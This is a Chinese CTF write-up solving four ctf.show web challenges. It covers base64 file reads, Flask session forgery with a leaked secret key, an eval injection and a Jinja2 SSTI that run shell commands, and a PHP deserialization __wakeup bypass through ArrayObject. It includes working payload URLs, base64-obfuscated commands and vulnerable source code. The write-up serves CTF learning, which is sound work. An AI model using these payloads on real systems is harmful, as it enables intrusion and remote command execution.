web easy_signin https://ctf.show/challenges#easy_signin-3967
首先给到一个url
http://f43e5622-a292-404c-98b5-85b54f0450d8.challenge.ctf.show/?img=ZmFjZS5wbmc=
url后img为base64 ZmFjZS5wbmc= => face.png
那可以直接读取源码,index.php, index.php => aW5kZXgucGhw
右键查看源代码即可看到
pd9开头为<?php 直接解密即可
easy_flask https://ctf.show/challenges#easy_flask-3971
打开题目连接是一个登录框,可以进行用户注册
可以参考这篇文章
https://blog.csdn.net/since_2020/article/details/119543172
随便一个用户注册,123/123登录上去,可以看到learn可以点击,查看到源代码
有一个app.secret_key = 'S3cr3tK3y'
最为显眼,联想到flask session伪造,
可以重新登录抓包,看是否有session
Cookie: session=eyJsb2dnZWRpbiI6dHJ1ZSwicm9sZSI6InVzZXIiLCJ1c2VybmFtZSI6IjEyMyJ9.ZC52mw.SomJhBqFTfEKGMkcqlorSxEhAHA
可以看到session jwt相似用https://github.com/noraj/flask-session-cookie-manager
这个工具可以进行解密
1 2 └─ {'loggedin' : True, 'role' : 'user' , 'username' : '123' }
可以看到有role值为user,源码中未见管理员的字样,盲猜为admin,接着构造包
1 2 3 └─ eyJsb2dnZWRpbiI6dHJ1ZSwicm9sZSI6ImFkbWluIiwidXNlcm5hbWUiOiIxMjMifQ.ZC5-7A.6id7rF3wmWSp5nux_ylHGAhfbn8
将构造好的数据进行替换session,这样
再次访问主页面,即可看到主页面多了一个下载的地方,
http://1ca40a3d-c1de-44e7-bd25-dda1d37a3031.challenge.ctf.show/download/?filename=fakeflag.txt,点击时任意文件下载,接下来就下载源码,在最开始看到show目录时,左上角有一个app.py直接下载,下载后可以看到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 from flask import Flask, render_template, request, redirect, url_for, session, send_file, Responseapp = Flask(__name__) app.secret_key = 'S3cr3tK3y' users = { 'admin' : {'password' : 'LKHSADSFHLA;KHLK;FSDHLK;ASFD' , 'role' : 'admin' } } @app.route('/' ) def index (): if 'loggedin' in session: return redirect(url_for('profile' )) return redirect(url_for('login' )) @app.route('/login/' , methods=['GET' , 'POST' ] ) def login (): msg = '' if request.method == 'POST' and 'username' in request.form and 'password' in request.form: username = request.form['username' ] password = request.form['password' ] if username in users and password == users[username]['password' ]: session['loggedin' ] = True session['username' ] = username session['role' ] = users[username]['role' ] return redirect(url_for('profile' )) else : msg = 'Incorrect username/password!' return render_template('login2.html' , msg=msg) @app.route('/register/' , methods=['GET' , 'POST' ] ) def register (): msg = '' if request.method == 'POST' and 'username' in request.form and 'password' in request.form: username = request.form['username' ] password = request.form['password' ] if username in users: msg = 'Account already exists!' else : users[username] = {'password' : password, 'role' : 'user' } msg = 'You have successfully registered!' return render_template('register2.html' , msg=msg) @app.route('/profile/' ) def profile (): if 'loggedin' in session: return render_template('profile2.html' , username=session['username' ], role=session['role' ]) return redirect(url_for('login' )) @app.route('/show/' ) def show (): if 'loggedin' in session: return render_template('show2.html' ) @app.route('/download/' ) def download (): if 'loggedin' in session: filename = request.args.get('filename' ) if 'filename' in request.args: return send_file(filename, as_attachment=True ) return redirect(url_for('login' )) @app.route('/hello/' ) def hello_world (): try : s = request.args.get('eval' ) return f"hello,{eval (s)} " except Exception as e: print (e) pass return "hello" @app.route('/logout/' ) def logout (): session.pop('loggedin' , None ) session.pop('id' , None ) session.pop('username' , None ) session.pop('role' , None ) return redirect(url_for('login' )) if __name__ == "__main__" : app.run(host='0.0.0.0' , port=8080 )
hello路由处有个eval漏洞,这样传参是很危险的,
参考
https://www.anquanke.com/post/id/84891/
``http://1ca40a3d-c1de-44e7-bd25-dda1d37a3031.challenge.ctf.show/hello/?eval=__import__('os').popen (‘cat /flag_is_h3re’).read()`
即可
easy_ssti 右键源代码有zip包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from flask import Flaskfrom flask import render_template_string,render_templateapp = Flask(__name__) @app.route('/hello/' ) def hello (name=None ): return render_template('hello.html' ,name=name) @app.route('/hello/<name>' ) def hellodear (name ): if "ge" in name: return render_template_string('hello %s' % name) elif "f" not in name: return render_template_string('hello %s' % name) else : return 'Nonononon'
if “ge” in name: return render_template_string(‘hello %s’ % name)
payload 要有 ge
elif “f” not in name: return render_template_string(‘hello %s’ % name)
payload 不能有f
先获取可用基类
1 2 3 4 5 6 四种方法皆可 1, {{''.__class__.__base__.__subclasses__()}} 2, {{''.__class__.__base__.__subclasses__()}} 3, {{''.__class__.__mro__[-1].__subclasses__()}} 4, {{().__class__.__mro__[1].__subclasses__()}}
获取到后,用脚本嗦一下可用的类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import redata = r''' [<class 'type'>, <class 'weakref'>, ......] ''' userful_class = ['linecache' , 'os._wrap_close' , 'subprocess.Popen' , 'warnings.catch_warnings' , '_frozen_importlib._ModuleLock' , '_frozen_importlib._DummyModuleLock' , '_frozen_importlib._ModuleLockManager' , '_frozen_importlib.ModuleSpec' ] pattern = re.compile (r"'(.*?)'" ) class_list = re.findall(pattern, data) for c in class_list: for i in userful_class: if i in c: print (str (class_list.index(c)) + ": " + c)
可以看到132的os._wrap_close可用 popen也可用
http://a5d0ef3a-4dec-4de0-9564-0bd0be13b83e.challenge.ctf.show/hello/{{"".__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('whoami').read()}}
即可命令执行
但是下面执行ls / 时几句不可以了,显示404
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 http://a5d0ef3a-4dec-4de0-9564-0bd0be13b83e.challenge.ctf.show/hello/{{"" .__class__.__base__.__subclasses__()[132].__init__.__globals__['popen' ]('ls $(echo Lw== | base64 -d)' ).read ()}} http://a5d0ef3a-4dec-4de0-9564-0bd0be13b83e.challenge.ctf.show/hello/{{"" .__class__.__base__.__subclasses__()[132].__init__.__globals__['popen' ]('$(echo bHM= | base64 -d) $(echo Lw== | base64 -d)' ).read ()}} http://a5d0ef3a-4dec-4de0-9564-0bd0be13b83e.challenge.ctf.show/hello/{{"" .__class__.__base__.__subclasses__()[132].__init__.__globals__['popen' ]('cat $(echo Li4vZmxhZw== | base64 -d)' ).read ()}} 官方 /hello/{{ "" .__class__.__base__ .__subclasses__()[132].__init__.__globals__['popen' ](request.args.get("ctfshow" )).read ()}}ge?ctfshow=cat /flag POC1: {{g.pop.__globals__.__builtins__['__import__' ]('os' ).popen('ls' ).read ()}} POC2: {{application.__init__.__globals__.__builtins__['__import__' ]('os' ).popen('ls' ) .read ()}} POC3: {{get_flashed_messages.__globals__.__builtins__['__import__' ]('os' ).popen('ls' ) .read ()}}
http://a5d0ef3a-4dec-4de0-9564-0bd0be13b83e.challenge.ctf.show/hello/{{"".__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat $(echo Li4vZmxhZw== | base64 -d)').read()}}
easy_php 开局给了源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <?php error_reporting(0 ); highlight_file(__FILE__ ); class ctfshow { public function __wakeup ( ) { die ("not allowed!" ); } public function __destruct ( ) { system($this ->ctfshow); } } $data = $_GET ['1+1>2' ];if (!preg_match("/^[Oa]:[\d]+/i" , $data )){ unserialize($data ); } ?>
显然是反序列化,这里要知道一些魔术方法。
1 2 3 4 5 6 7 8 9 10 11 12 _construct() 当创建对象时触发,一般用于初始化对象,对变量赋初值 __sleep() 使用serialize()时自动触发 __wakeup() 使用unserialize()时自动触发 __destruct() 当一个对象被销毁时触发 __toString() 当一个类被当成字符串使用时触发 __invoke() 当尝试以调用函数的方式调用一个对象时触发 __call() 在对象上下文中调用不可访问的方法时触发 __callStatic() 在静态上下文中调用不可访问的方法时触发 __get() 用于从不可访问的属性读取数据 __set() 用于将数据写入不可访问的属性 __isset() 在不可访问的属性上调用isset ()或empty ()触发 __unset() 在不可访问的属性上使用unset ()时触发
__wakeup() 使用unserialize()时自动触发 ,代码中使用了 unserialize函数,那就会销毁
在php5中绕过__wakeup()将对象属性的个数值大于真实的属性就会跳过__wakeup()
php7环境下,需要序列化ArrObject类来绕过
1 2 3 4 5 6 7 8 9 10 11 php5环境下,只需要在正常生成的序列化字符串数字前添加一个+号即可绕过执行 方法: echo serialize(new ctfshow()) payload: O:+7 :"ctfshow" :1 :{s:7 :"ctfshow" ;s:7 :"cat /f*" ;} php7环境下,需要序列化ArrObject 类来绕过 方法: echo serialize(new ArrayObject (new ctfshow())); payload: C:11 :"ArrayObject" :61 :{x:i:0 ;O:7 :"ctfshow" :1 :{s:7 :"ctfshow" ;s:7 :"cat /f*" ;};m:a:0 :{}}
此题中为php7
payload 自己加一个public变量即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php class ctfshow { public $ctfshow ='cat /f*' ; public function __wakeup ( ) { die ("not allowed!" ); } public function __destruct ( ) { system($this ->ctfshow); } } $data = $_GET ['1+1>2' ];print ($data );echo serialize(new ArrayObject (new ctfshow()));?>
http://bd6bbd85-fa6e-4a78-ab40-c83485c956ed.challenge.ctf.show/?1%2b1>2=C:11:"ArrayObject":61:{x:i:0;O:7:"ctfshow":1:{s:7:"ctfshow";s:7:"cat /f*";};m:a:0:{}}
最后
一直在路上